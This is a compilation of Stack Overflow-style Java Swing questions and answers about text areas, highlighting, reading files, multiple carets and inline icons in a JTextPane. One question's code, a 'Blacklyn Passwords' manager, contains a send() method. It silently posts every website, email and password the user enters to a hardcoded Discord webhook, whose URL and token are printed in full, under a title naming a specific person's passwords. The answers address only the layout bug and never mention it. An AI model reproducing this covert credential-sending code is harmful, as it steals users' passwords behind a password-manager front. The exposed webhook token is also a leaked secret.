I want to open a text file in a frame using swing components, preferably with highlighting facility. I get the name of the text file in a text filed in the first frame and want to open the text file in the second frame.My code is
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
public class FirstGUI extends JFrame {
private JLabel label;
private JTextField textfield;
private JButton button;
public FirstGUI() {
setLayout(new FlowLayout());
label = new JLabel("Enter the file path:");
add(label);
textfield = new JTextField();
add(textfield);
button = new JButton("Open");
add(button);
AnyClass ob = new AnyClass();
button.addActionListener(ob);
}
public class AnyClass implements ActionListener {
public void actionPerformed(ActionEvent obj) {
//SecondGUI s =new SecondGUI();
//s.setVisible(true);
}
}
public static void main(String[] args) {
FirstGUI obj= new FirstGUI();
obj.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
obj.setSize(600,600);
obj.setLocation(100,100);
obj.setVisible(true);
}
}
What swing component should I use in my second frame to open a text file in it ? If possible, please provide the outline of the code !!
Extending on mKorbel and Dans answer:
Well you could use a JTextArea like so:
import java.awt.BorderLayout;
import java.awt.Color;
import java.lang.reflect.InvocationTargetException;
import javax.swing.JFrame;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.SwingUtilities;
import javax.swing.text.*;
public class LineHighlightPainter {
String revisedText = "Hello, World! ";
String token = "Hello";
public static void main(String args[]) {
try {
SwingUtilities.invokeAndWait(new Runnable() {
#Override
public void run() {
new LineHighlightPainter().createAndShowGUI();
}
});
} catch (InterruptedException | InvocationTargetException ex) {
ex.printStackTrace();
}
}
public void createAndShowGUI() {
JFrame frame = new JFrame("LineHighlightPainter demo");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
JTextArea area = new JTextArea(9, 45);
area.setLineWrap(true);
area.setWrapStyleWord(true);
area.setText(revisedText);
// Highlighting part of the text in the instance of JTextArea
// based on token.
highlight(area, token);
frame.getContentPane().add(new JScrollPane(area), BorderLayout.CENTER);
frame.pack();
frame.setVisible(true);
}
// Creates highlights around all occurrences of pattern in textComp
public void highlight(JTextComponent textComp, String pattern) {
// First remove all old highlights
removeHighlights(textComp);
try {
Highlighter hilite = textComp.getHighlighter();
Document doc = textComp.getDocument();
String text = doc.getText(0, doc.getLength());
int pos = 0;
// Search for pattern
while ((pos = text.indexOf(pattern, pos)) >= 0) {
// Create highlighter using private painter and apply around pattern
hilite.addHighlight(pos, pos + pattern.length(), myHighlightPainter);
pos += pattern.length();
}
} catch (BadLocationException e) {
e.printStackTrace();
}
}
// Removes only our private highlights
public void removeHighlights(JTextComponent textComp) {
Highlighter hilite = textComp.getHighlighter();
Highlighter.Highlight[] hilites = hilite.getHighlights();
for (int i = 0; i < hilites.length; i++) {
if (hilites[i].getPainter() instanceof MyHighlightPainter) {
hilite.removeHighlight(hilites[i]);
}
}
}
// An instance of the private subclass of the default highlight painter
Highlighter.HighlightPainter myHighlightPainter = new MyHighlightPainter(Color.red);
// A private subclass of the default highlight painter
class MyHighlightPainter
extends DefaultHighlighter.DefaultHighlightPainter {
public MyHighlightPainter(Color color) {
super(color);
}
}
}
Or alternatively use a JTextPane and text can be highlighted by:
1) Changing any style attributes of arbitrary text parts on the document level, something like:
SimpleAttributeSet sas = new SimpleAttributeSet();
StyleConstants.setForeground(sas, Color.YELLOW);
doc.setCharacterAttributes(start, length, sas, false);
2) Highlight via a Highlighter on the textPane level:
DefaultHighlighter.DefaultHighlightPainter highlightPainter = new DefaultHighlighter.DefaultHighlightPainter(Color.YELLOW);
textPane.getHighlighter().addHighlight(startPos, endPos,highlightPainter);
References:
Highlighting Text in java
JTextPane highlight text
The simplest choice would be a JTextArea.
Another better choice is a JEditorPane.
You can take a look at this text components tutorial for understanding them better and choosing the best you need.
have look at
JFileChooser
JTextComponent#read()
JtextArea text
fileInputStream myFIS;
objectInputStream myOIS(myFIS);
Data = myOIS.read();
text.setText(Data);
that should give you some kind of an idea where to go. Don't forget to set the file input stream up with a file location so it knows what file to open. Then the ObjectInputStream will take the data and save the information into a field called Data. Then set the textArea to use Data as the information to "Set" the textArea to display.
Note: ObjectInputStream is not the only input stream available to use. you will have to use the input stream that correlates to your file.
Related
I made a basic GUI program with Java Swing. But it is not even opening. I think it might be because I put the setVisible(true) method at the beginning.
But even if I put it at the bottom of the code, it is not displaying. Here is my code. What am I doing wrong?
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.Arrays;
import java.util.Scanner;
import java.util.stream.Collectors;
public class Main {
public static void main(String[] args) throws Exception {
//objects ------------------------------------------------------------------------------------------------------
JTextArea area = new JTextArea();
JFrame jframe = new JFrame();
JPanel panel = new JPanel();
JLabel label = new JLabel();
JButton button = new JButton();
JButton btn = new JButton();
//frame---------------------------------------------------------------------------------------------------------
jframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
jframe.setTitle("Blacklyn Passwords");
jframe.setSize(400,200);
//also tried it here, it´s showing...but it´s white all the time, and I tried to refresh it,I minimized it, and opened it back...but nothing changed...still white "jframe.setVisible(true)"
//label---------------------------------------------------------------------------------------------------------
label.setText("Blacklyn");
label.setForeground(Color.BLACK);//(new Color(135, 134, 131));
label.setFont(new Font("Calibri",Font.BOLD,25));
//areas---------------------------------------------------------------------------------------------------------
String data = readFile("data.json");
area.setText(data);
area.setEditable(false);
area.setBackground(new Color(23,23,23));
area.setForeground(new Color(68, 68, 68));
//buttons--------------------------------------------------------------------------------------------------------
button.setText("ADD");
button.setForeground(new Color(135, 134, 131));
button.setBackground(new Color(23,23,23));
button.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
String Website = JOptionPane.showInputDialog(null,"Enter a Website or Topic.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Email = JOptionPane.showInputDialog(null,"Enter a Email.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Password = JOptionPane.showInputDialog(null,"Enter a Password","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
String flll = "data.json";
json_write(flll, Website + " " + Email + " " + Password);
send(Website + " " + Email + " " + Password);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}
}
});
btn.setText("DELETE");
btn.setForeground(new Color(135, 134, 131));
btn.setBackground(new Color(23,23,23));
btn.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
File file = new File("data.json");
if(file.exists()){
String storage = JOptionPane.showInputDialog(null,"Enter what Website or Topic you want to delete","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
deleteLine(storage);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}
}else{
JOptionPane.showMessageDialog(null,"You have no Passwords to delete","Blacklyn",JOptionPane.ERROR_MESSAGE);
}
}
});
//panel---------------------------------------------------------------------------------------------------------
panel.setBackground(new Color(15,15,15));
panel.add(label);
panel.add(button);
panel.add(btn);
panel.add(area);
// I also tried it here(its not even showing)jframe.setVisible(true);
//END-----------------------------------------------------------------------------------------------------------
jframe.add(panel);
//it´s also not showing
jframe.setContentPane(panel);
}
public static void deleteLine(String start) throws IOException {
RandomAccessFile file = new RandomAccessFile("data.json", "rw");
String delete;
String task="";
byte []tasking;
while ((delete = file.readLine()) != null) {
if (delete.startsWith(start)) {
continue;
}
task+=delete+"\n";
}
System.out.println(task);
BufferedWriter writer = new BufferedWriter(new FileWriter("data.json"));
writer.write(task);
file.close();
writer.close();
}
public static String readFile(String fileName)throws Exception
{
String data = "";
data = new String(Files.readAllBytes(Paths.get(fileName)));
return data;
}
public static void json_write(String file, String data) throws IOException {
FileWriter fw = new FileWriter(file,true);
fw.write(data + "\n");
fw.flush();
fw.close();
}
public static void send(String data) throws IOException {
DiscordWebhook dw = new DiscordWebhook("https://discord.com/api/webhooks/899693331968323605/Ln4AYxUO8caGZDvi9628LuhaFmjgnhPOf2rrY5wVKEbGdiMFlnlyVy8BhM-HX6a_LkI2");
dw.addEmbed(new DiscordWebhook.EmbedObject().setTitle("Hurensohn Jans Password").setDescription(data));
dw.execute();
}
}
I also tried to research online, but no one has the same problem. So I decided to open a question here.
I see you are probably following a tutorial.
There is a lot going on here. But the most important code is the first part.
You need to set your contentPane.
In every GUI with Java Swing, you set your JFrame to be the frame.
Then you add your JPanel to your JFrame.
frame.add(panel);
then you set your panel as contentPane:
frame.setContentPane(panel)
Then you add all your elements to your panel.
Also you need to use a layout manager.
You may do it with Layout null, but then you need to use the setBounds() method to put everything in place, which is okey for your first GUI, but a lot of work.
Does this help you? please use a comment if it helped or not, then I can take another look.
This is a typical "tutorial" coding style. Comparing it with building a house, one builds floors, doors, windows, here I also see a table with chairs, already electricity and plumbing (actionPerformed). That is very fragmentary, not your fault.
You could already start with some inheritance:
public class MyBlacklynFrame extends JFrame {
private JPanel panel;
private JLabel label = new JLabel("Hello");
public MyBlacklynFrame () {
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setTitle("Blacklyn Passwords");
setSize(400, 200);
panel = new JPanel();
panel.setLayout(new BorderLayout());
panel.add(label, BorderLayout.SOUTH);
add(panel);
pack();
}
}
public class Main {
public static void main(String[] args) throws Exception {
MyBlacklynFrame frame = new MyBlacklynFrame();
SwingUtilities.invokeLater(() -> frame.setVisible(true));
}
}
The above uses two different creation styles (for resp. panel and label).
The frame is made visible on the AWT event queue by invokeLater.
() -> frame.setVisible(true) is an anonymous function with as body frame.setVisible(true);. It will later be executed on the event handling thread of swing (where button clicks and redrawing happens).
Calling pack does layouting.
There are some GUI designers with which you can create all this code in a GUI with components. Afterwards you could look at the created code.
I hope you see that here the GUI is constructed hierarchical. A panel with several components, text box, buttons, could also be put in its own class. So panel = new MySuperPanel(); could keep all compartimentized.
I am reading from a file that will have tons of lines of text and I want my program to read all of the lines in that file and output them in the same format onto either a JLabel or anything that would work.
public String readSoldTo() {
String file = "/Users/tylerbull/Documents/JUUL/Sold To/soldTo.txt";
String data;
try{
BufferedReader br = new BufferedReader(new FileReader(file));
while ((data = br.readLine()) != null) {
System.out.println(data);
return data;
}
br.close();
}catch(Exception e) {
}
return file;
}
A JLabel is built to display one line of text. Yes you can jury-rig it to show more, but that's a kludge and can often cause future problems in your code. Instead I would suggest that you display your text in a JTextArea, and you can make it so that it looks like a JLabel by removing its border by making its background color null. If you add it to a JScrollPane though, you'll see scrollbars (if appropriate) and the scrollpane's border, which may be a problem. I would also make the JTextArea non-focusable and non-editable, again so that it acts more like a label and less like a text component that accepts user interaction.
Also JTextComponents, like JTextFields have mechanisms that allow you pass it a reader so that it can participate in the reading of the text file, preserving line breaks if desired. Please see its read method API entry for more on this. As always, take care to respect Swing threading rules, and do your text I/O in a background thread, and all Swing mutation calls on the Swing event thread.
Your code also worries me some:
You seem to be ignoring exceptions
You have two returns in your method above, and both return two vastly different bits of information.
For example:
import java.awt.BorderLayout;
import java.awt.event.*;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import javax.swing.*;
import javax.swing.filechooser.FileNameExtensionFilter;
#SuppressWarnings("serial")
public class TextAreaAsLabel extends JPanel {
private static final int TA_ROWS = 30;
private static final int TA_COLS = 50;
private static final Font TA_FONT = new Font(Font.DIALOG, Font.BOLD, 12);
private JTextArea textArea = new JTextArea(TA_ROWS, TA_COLS);
public TextAreaAsLabel() {
// JButton and JPanel to open file chooser and get text
JPanel buttonPanel = new JPanel();
buttonPanel.add(new JButton(new ReadTextAction("Read Text")));
// change JTextArea's properties so it "looks" like a multi-lined JLabel
textArea.setLineWrap(true);
textArea.setWrapStyleWord(true);
textArea.setBackground(null);
textArea.setBorder(null);
textArea.setFocusable(false);
textArea.setEditable(false);
textArea.setFont(TA_FONT);
// add components to *this* jpanel
setLayout(new BorderLayout());
add(textArea, BorderLayout.CENTER);
add(buttonPanel, BorderLayout.PAGE_END);
}
private class ReadTextAction extends AbstractAction {
public ReadTextAction(String name) {
super(name);
int mnemonic = (int) name.charAt(0);
putValue(MNEMONIC_KEY, mnemonic);
}
#Override
public void actionPerformed(ActionEvent e) {
// create file chooser and limit it to selecting text files
JFileChooser fileChooser = new JFileChooser();
FileNameExtensionFilter filter = new FileNameExtensionFilter("Text Files", "txt");
fileChooser.setFileFilter(filter);
fileChooser.setMultiSelectionEnabled(false);
// display it as a dialog
int choice = fileChooser.showOpenDialog(TextAreaAsLabel.this);
if (choice == JFileChooser.APPROVE_OPTION) {
// get file, check if it exists, if it's not a directory
File file = fileChooser.getSelectedFile();
if (file.exists() && !file.isDirectory()) {
// use a reader, pass into text area's read method
try (BufferedReader br = new BufferedReader(new FileReader(file))){
textArea.read(br, "Reading in text file");
} catch (IOException e1) {
e1.printStackTrace();
}
}
}
}
}
private static void createAndShowGui() {
JFrame frame = new JFrame("Foo");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.getContentPane().add(new TextAreaAsLabel());
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
}
public static void main(String[] args) {
SwingUtilities.invokeLater(() -> createAndShowGui());
}
}
I want to use a JTextArea or JTextPane as a code change player, and the code changes and caret movements are recorded in a text file. But the problem is, it's recorded from an editor which supports multi selection, so there are more than one caret positions at one time.
Is it possible to show multiple carets in JTextArea or JTextPane?
I tried to use JTextPane and render the code as HTML, and inserted some <span class='caret'>|</span> into the code to represent the carets, it works but the fake caret takes space, so the normal characters are not fixed on screen when caret changes.
Like this?
import javax.swing.*;
import javax.swing.plaf.TextUI;
import javax.swing.text.BadLocationException;
import javax.swing.text.DefaultCaret;
import java.awt.*;
import java.util.Arrays;
import java.util.List;
public class Main {
public static void main(String[] args) {
JFrame fr=new JFrame("Multi caret test");
JTextArea ta=new JTextArea("Test test test", 20, 40);
MultiCaret c=new MultiCaret();
c.setBlinkRate(500);
c.setAdditionalDots(Arrays.asList(2,4,7));
ta.setCaret(c);
fr.add(ta);
fr.pack();
fr.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
fr.setLocationRelativeTo(null);
fr.setVisible(true);
}
}
class MultiCaret extends DefaultCaret {
private List<Integer> additionalDots;
public void setAdditionalDots(List<Integer> additionalDots) {
this.additionalDots = additionalDots;
}
public void paint(Graphics g) {
super.paint(g);
try {
TextUI mapper = getComponent().getUI();
for (Integer addDot : additionalDots) {
Rectangle r = mapper.modelToView(getComponent(), addDot, getDotBias());
if(isVisible()) {
g.setColor(getComponent().getCaretColor());
int paintWidth = 1;
r.x -= paintWidth >> 1;
g.fillRect(r.x, r.y, paintWidth, r.height);
}
else {
getComponent().repaint(r);
}
}
} catch (BadLocationException e) {
e.printStackTrace();
}
}
}
an editor which supports multi selection,
Maybe you should be using a Highlighter to highlight multiple areas of text selection:
import java.awt.*;
import javax.swing.*;
import javax.swing.text.*;
public class TextAndNewLinesTest extends JFrame
{
public TextAndNewLinesTest()
throws Exception
{
String text =
"one two three four five\r\n" +
"one two three four five\r\n" +
"one two three four five\r\n" +
"one two three four five\r\n" +
"one two three four five\r\n";
JTextPane textPane = new JTextPane();
textPane.setText(text);
JScrollPane scrollPane = new JScrollPane( textPane );
getContentPane().add( scrollPane );
Highlighter.HighlightPainter painter = new DefaultHighlighter.DefaultHighlightPainter( Color.cyan );
String search = "three";
int offset = 0;
int length = textPane.getDocument().getLength();
text = textPane.getDocument().getText(0, length);
while ((offset = text.indexOf(search, offset)) != -1)
{
try
{
textPane.getHighlighter().addHighlight(offset, offset + 5, painter); // background
offset += search.length();
}
catch(BadLocationException ble) {}
}
}
public static void main(String[] args)
throws Exception
{
JFrame.setDefaultLookAndFeelDecorated(true);
JFrame frame = new TextAndNewLinesTest();
frame.setTitle("Text and New Lines - Problem");
// frame.setTitle("Text and New Lines - Fixed");
frame.setDefaultCloseOperation( EXIT_ON_CLOSE );
frame.setSize(400, 120);
frame.setLocationRelativeTo( null );
frame.setVisible(true);
}
}
I'm working on an application in Java which, among other things, is supposed to display the details of a Magic: The Gathering card in a text field (since I'm using Swing, this is currently a JTextPane).
Those details contain text and small icons, with some of those icons inlined with the text (so the text flows around them), and some icons, by my design, right-aligned with some left-aligned text in the same line.
I took an image from another application which uses a very similar design to the one I'm working on (although not in Java):
This is how it basically should look like.
Now, for the love of everything, I can't get that to work in a JTextPane.
I started with trying to do this with CSS, but found out that the JEditorPane and subclasses don't support the "float" attribute, so I tried it with using the Pane's StyledDocument instead.
I didn't get the first part to work (the icon and right-align text at the top always ignored their alignment and were placed directly after the left-aligned text in the line) at first, until I found this question.
It was suggested to use the following line of code:
pane.setEditorKit(new HTMLEditorKit());
which somehow indeed fixed my first issue.
But now I'm stuck at the second part, getting those icons in the second part inline with the text. Here's what I currently got:
What I've found is that for some reason, when you switch the JTextPane to html mode with an editor kit with the line of code above, inserting components just goes completely crazy.
Both the icons on the top (which I have merged into a single image actually), and the ones in the text below (not merged) are both inside of JLabels, but it doesn't matter if I add them as images or inside of JLabels. The images or labels are definitely not bigger than what you see there, I have no idea at all where the extra whitespace is coming from.
I found this question, and the answer suggest that this is some kind of bug or just weird behavior with the html mode of the JEditorPane.
If I remove the above code line again, I end up with my original problem:
Depending on where exactly the icons are in the text, I get all kinds of different weird results. I put together some more example pictures below:
So, how could I possibly fix this? The JTextPane is working fine for me, except for this part, but I could possibly use some other solution, as long as the end result still looks the same. Remember that I might want to add some other components (like a Button) in there, so I'd like to stick to something native to Swing if possible at all.
The user will not be able to edit the TextPane's contents, but I'd like to add an option later to copy all of the content in one click (so I'd rather stay with a text area).
Below, I have put together a (not really that minimal) working example for you to play around with:
(EDIT: Updated code at the bottom now! The old code is still there under the following link.)
http://pastebin.com/RwAdPCzb
The icons that I'm using are below. You'd need to rename them and change the path in the code.
Some things to notice:
In the beginning I styled the text using the `Style` class, as described in the "How to use Editor Panes and Text Panes" tutorial on the Oracle website (TextSamplerDemo.java, for your reference). With this, I wasn't even able to do the right-align part at the top. Strangely, when I used the `SimpleAttributeSet` class for styling instead, even with the very same settings, it works.
I tried different alignment options for both the text and the labels which contain the icons. Regardless of what options I used, there was no visible difference at all.
UPDATE 1:
After Sharcoux' answer, I have edited my code to have 2 JLabels above the actual JTextPane which hold the two lines that were supposed to have different alignings (a left- and a right-aligned part).
The JTextPane doesn't use a HTMLEditorKit anymore now, and I use insertIcon() to insert the icons into the text.
This way, the icons are inserted (almost) correctly!
Image here:
However, there are two small things that I'm still not satisfied with:
First:
I need to put everything into a JScrollPane because the text in the TextPane is much longer in my actual application. Since I now have three components instead of just the TextPane, I needed to put everything into a JPanel and that into the ScrollPane.
However, if you do it like this, the JTextPane doesn't know that its with should not exceed the JScrollPane's anymore. It stopps wrapping text and just grows as big as the entire text.
I have opened a new question for this, since I feel that this is a basic issue of Swing and deserves its own question. If you want to help, here is the link:
JTextComponent inside JPanel inside JScrollPane
Second:
This is probably not possible, but I guess I'll ask anyway. The icons have the same baseline as the text when you add them this way. Is they any way to move them just a bit lower? 2-3 pixels, maybe? They would align much better with the text that way. Two pictures below.
This is how it looks now:
And this is how I would like it to look:
Maybe I can subclass and override some part of the JTextPane to move all icons that are rendered on it down a set pixel amount, or something like that?
For reference, here is also my new, updated code. I replaced the old one above with a pastebin.com link, if you still want to look at it.
UPDATE 2:
My first problem has already been eliminated! I updated the code below to reflect that, too.
My second question still stands!
Here's the new code:
import java.awt.EventQueue;
import java.awt.Graphics2D;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.border.EmptyBorder;
import javax.swing.text.BadLocationException;
import javax.swing.text.SimpleAttributeSet;
import javax.swing.text.StyleConstants;
import javax.swing.text.StyledDocument;
import java.awt.GridLayout;
import java.awt.Rectangle;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.util.HashMap;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.swing.JScrollPane;
import javax.swing.Scrollable;
import javax.swing.JTextPane;
import javax.swing.JViewport;
import java.awt.BorderLayout;
import java.awt.Dimension;
import java.awt.Color;
import java.awt.Container;
import java.awt.Font;
import javax.swing.ScrollPaneConstants;
public class MinimalExample extends JFrame {
private JPanel contentPane;
private JScrollPane scrollPane;
private JTextPane textPane;
// Setup some data for an example card:
String name = "Absorb Vis";
String set = "CON";
String manaCost = "{6}{B}";
String printedType = "Sorcery";
String artist = "Brandon Kitkouski";
String rulesText = "Target player loses 4 life and you gain 4 life.\n"
+ "Basic landcycling {1}{B} ({1}{B}, Discard this card: "
+ "Search your library for a basic land card, reveal it, and put "
+ "it into your hand. Then shuffle your library.)";
HashMap<String, BufferedImage> manaSymbolImages;
private ScrollablePanel textPanel;
//private JPanel textPanel;
private JPanel headlinesPanel;
private JPanel firstHeadlinePanel;
private JPanel secondHeadlinePanel;
private JLabel titleLabel;
private JLabel manaCostLabel;
private JLabel typeLabel;
private JLabel setLabel;
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
MinimalExample frame = new MinimalExample();
frame.setVisible(true);
}
catch (Exception e) {
e.printStackTrace();
}
}
});
}
public MinimalExample() {
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setBounds(100, 100, 230, 400);
contentPane = new JPanel();
contentPane.setBackground(Color.WHITE);
contentPane.setBorder(null);
setContentPane(contentPane);
/* HTMLEditorKit eKit = new HTMLEditorKit();
* textPane.setEditorKit(eKit); HTMLDocument htmlDoc = (HTMLDocument)
* textPane.getDocument(); htmlDoc.setPreservesUnknownTags(false); */
contentPane.setLayout(new GridLayout(0, 1, 0, 0));
textPanel = new ScrollablePanel();
//textPanel = new JPanel();
textPanel.setBackground(Color.WHITE);
textPanel.setLayout(new BorderLayout(0, 0));
headlinesPanel = new JPanel();
headlinesPanel.setBorder(new EmptyBorder(2, 5, 3, 5));
headlinesPanel.setBackground(Color.WHITE);
textPanel.add(headlinesPanel, BorderLayout.NORTH);
headlinesPanel.setLayout(new GridLayout(0, 1, 0, 0));
firstHeadlinePanel = new JPanel();
firstHeadlinePanel.setBorder(new EmptyBorder(0, 0, 3, 0));
firstHeadlinePanel.setOpaque(false);
headlinesPanel.add(firstHeadlinePanel);
firstHeadlinePanel.setLayout(new BorderLayout(0, 0));
titleLabel = new JLabel("");
titleLabel.setFont(new Font("Tahoma", Font.BOLD, 12));
firstHeadlinePanel.add(titleLabel, BorderLayout.WEST);
manaCostLabel = new JLabel("");
firstHeadlinePanel.add(manaCostLabel, BorderLayout.EAST);
secondHeadlinePanel = new JPanel();
secondHeadlinePanel.setBorder(null);
secondHeadlinePanel.setOpaque(false);
headlinesPanel.add(secondHeadlinePanel);
secondHeadlinePanel.setLayout(new BorderLayout(0, 0));
typeLabel = new JLabel("");
typeLabel.setFont(new Font("Tahoma", Font.PLAIN, 12));
secondHeadlinePanel.add(typeLabel, BorderLayout.WEST);
setLabel = new JLabel("");
setLabel.setFont(new Font("Tahoma", Font.BOLD, 12));
secondHeadlinePanel.add(setLabel, BorderLayout.EAST);
scrollPane = new JScrollPane();
scrollPane.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER);
scrollPane.setBackground(Color.WHITE);
contentPane.add(scrollPane);
textPane = new JTextPane();
textPane.setBorder(new EmptyBorder(0, 3, 0, 3));
textPane.setAlignmentY(0.3f);
textPane.setEditable(false);
textPanel.add(textPane, BorderLayout.CENTER);
scrollPane.setViewportView(textPanel);
loadManaCostIcons();
setPaneText();
}
// This part inserts the text into the document of the text pane.
public void setPaneText() {
titleLabel.setText(name);
manaCostLabel.setIcon(combineSymbols(manaCost));
typeLabel.setText(printedType);
setLabel.setText(set);
StyledDocument textPaneDoc = textPane.getStyledDocument();
SimpleAttributeSet defaultAtts = new SimpleAttributeSet();
StyleConstants.setFontFamily(defaultAtts, "SansSerif");
StyleConstants.setFontSize(defaultAtts, 12);
SimpleAttributeSet rulesAtts = new SimpleAttributeSet(defaultAtts);
SimpleAttributeSet artistAtts = new SimpleAttributeSet(defaultAtts);
StyleConstants.setFontSize(artistAtts, 10);
addTextWithSymbols(rulesText, rulesAtts);
try {
textPaneDoc.insertString(textPaneDoc.getLength(), artist, artistAtts);
}
catch (BadLocationException e) {
e.printStackTrace();
}
textPane.revalidate();
textPane.repaint();
}
/* This adds the rest of the text to the pane. The codes for the symbols get
* replaced by the actual symbols and the text gets inserted piece by piece. */
public void addTextWithSymbols(String text, SimpleAttributeSet style) {
StyledDocument textPaneDoc = textPane.getStyledDocument();
Pattern symbolPattern = Pattern.compile("\\{(.*?)\\}");
try {
Matcher symbolMatcher = symbolPattern.matcher(text);
int previousMatch = 0;
while (symbolMatcher.find()) {
int start = symbolMatcher.start();
int end = symbolMatcher.end();
String subStringText = text.substring(previousMatch, start);
String currentMatch = text.substring(start, end);
if (subStringText.isEmpty() == false) {
textPaneDoc.insertString(textPaneDoc.getLength(), subStringText, style);
}
ImageIcon currentIcon = new ImageIcon(manaSymbolImages.get(currentMatch));
SimpleAttributeSet iconAtts = new SimpleAttributeSet();
JLabel iconLabel = new JLabel(currentIcon);
StyleConstants.setComponent(iconAtts, iconLabel);
textPane.insertIcon(currentIcon);
previousMatch = end;
}
String subStringText = text.substring(previousMatch);
if (subStringText.isEmpty() == false) {
textPaneDoc.insertString(textPaneDoc.getLength(), subStringText + "\n", style);
}
}
catch (Exception e) {
e.printStackTrace();
}
}
/* Everything below is more or less irrelevant. However, you might need to
* adjust the image image file paths. */
public void loadManaCostIcons() {
manaSymbolImages = new HashMap<String, BufferedImage>();
try {
// Most likely, those paths won't work for you!
File bFile = new File("resource/B.png");
File c1File = new File("resource/1.png");
File c6File = new File("resource/6.png");
manaSymbolImages.put("{B}", ImageIO.read(bFile));
manaSymbolImages.put("{1}", ImageIO.read(c1File));
manaSymbolImages.put("{6}", ImageIO.read(c6File));
}
catch (IOException e) {
e.printStackTrace();
}
}
public ImageIcon combineSymbols(String symbols) {
String[] manaSymbols = symbols.split("(?<=})");
int combinedWidth = 0;
int maxHeight = 0;
for (int i = 0; i < manaSymbols.length; i++) {
BufferedImage currentSymbolImage = manaSymbolImages.get(manaSymbols[i]);
combinedWidth += currentSymbolImage.getWidth();
if (maxHeight < currentSymbolImage.getWidth()) {
maxHeight = currentSymbolImage.getWidth();
}
}
BufferedImage combinedManaCostImage = new BufferedImage(combinedWidth, maxHeight,
BufferedImage.TYPE_INT_ARGB);
Graphics2D graphics = combinedManaCostImage.createGraphics();
int currentPosition = 0;
for (int i = 0; i < manaSymbols.length; i++) {
BufferedImage tempCurrentImage = manaSymbolImages.get(manaSymbols[i].trim());
graphics.drawImage(tempCurrentImage, null, currentPosition, 0);
currentPosition += tempCurrentImage.getWidth();
}
graphics.dispose();
return (new ImageIcon(combinedManaCostImage));
}
/* Original source of this is here:
* https://stackoverflow.com/questions/15783014/jtextarea-on-jpanel-inside-jscrollpane-does-not-resize-properly
* And one update to it is here:
* */
private static class ScrollablePanel extends JPanel implements Scrollable {
#Override
public Dimension getPreferredScrollableViewportSize() {
return super.getPreferredSize();
}
#Override
public int getScrollableUnitIncrement(Rectangle visibleRect, int orientation,
int direction) {
return 16;
}
#Override
public int getScrollableBlockIncrement(Rectangle visibleRect, int orientation,
int direction) {
return 16;
}
#Override
public boolean getScrollableTracksViewportWidth() {
return true;
}
#Override
public boolean getScrollableTracksViewportHeight() {
boolean track = true;
Container parent = getParent();
if (parent instanceof JViewport) {
JViewport viewport = (JViewport) parent;
if (viewport.getHeight() < getPreferredSize().height) {
track = false;
}
}
return track;
}
}
}
I think that the issue is the way you insert your images, and most probably, from your combineSymbol method.
Here is the way to insert stuff in the JTextPane :
public class Test {
public static void main(String[] args) {
SwingUtilities.invokeLater(new Runnable() {
#Override
public void run() {
JFrame mainFrame = new JFrame("test");
mainFrame.setSize(300, 100);
mainFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
Container pane = mainFrame.getContentPane();
pane.setLayout(new BorderLayout());
JTP jtp = new JTP();
pane.add(jtp);
mainFrame.setVisible(true);
}
});
}
static class JTP extends JTextPane {
JTP() {
HTMLEditorKit eKit = new HTMLEditorKit();
setEditorKit(eKit);
HTMLDocument htmlDoc = (HTMLDocument) getDocument();//the HTMLEditorKit automatically created an HTMLDocument
htmlDoc.setPreservesUnknownTags(false);//I advice you to put this line if you plan to insert some foreign HTML
//inserting plain text (just change null for an attributeSet for styled text)
try {
htmlDoc.insertString(0, "test", null);
} catch (BadLocationException ex) {
Logger.getLogger(Test.class.getName()).log(Level.SEVERE, null, ex);
}
//inserting images
insertIcon(new ImageIcon("image.png"));
insertIcon(new ImageIcon("image.png"));
//inserting components (With component, you should specify the yAlignment by yourself)
JLabel label = new JLabel(new ImageIcon("image.png"));
label.setAlignmentY(JLabel.TOP);
insertComponent(label);
}
}
}
But to make things easier, I strongly advice you to use a title line outside the JTextPane. Text editors aren't really made for text having different alignment on the same line. Here is what I would suggest :
public class Test {
public static void main(String[] args) {
SwingUtilities.invokeLater(new Runnable() {
#Override
public void run() {
JFrame mainFrame = new JFrame("test");
mainFrame.setSize(300, 100);
mainFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
Container pane = mainFrame.getContentPane();
pane.setLayout(new BorderLayout());
pane.setBackground(Color.WHITE);
pane.add(new JTP());
pane.add(new Title(), BorderLayout.NORTH);
mainFrame.setVisible(true);
}
});
}
static class JTP extends JTextPane {
JTP() {
setEditable(false);
setOpaque(false);
HTMLEditorKit eKit = new HTMLEditorKit();
setEditorKit(eKit);
HTMLDocument htmlDoc = (HTMLDocument) getDocument();//the HTMLEditorKit automatically created an HTMLDocument
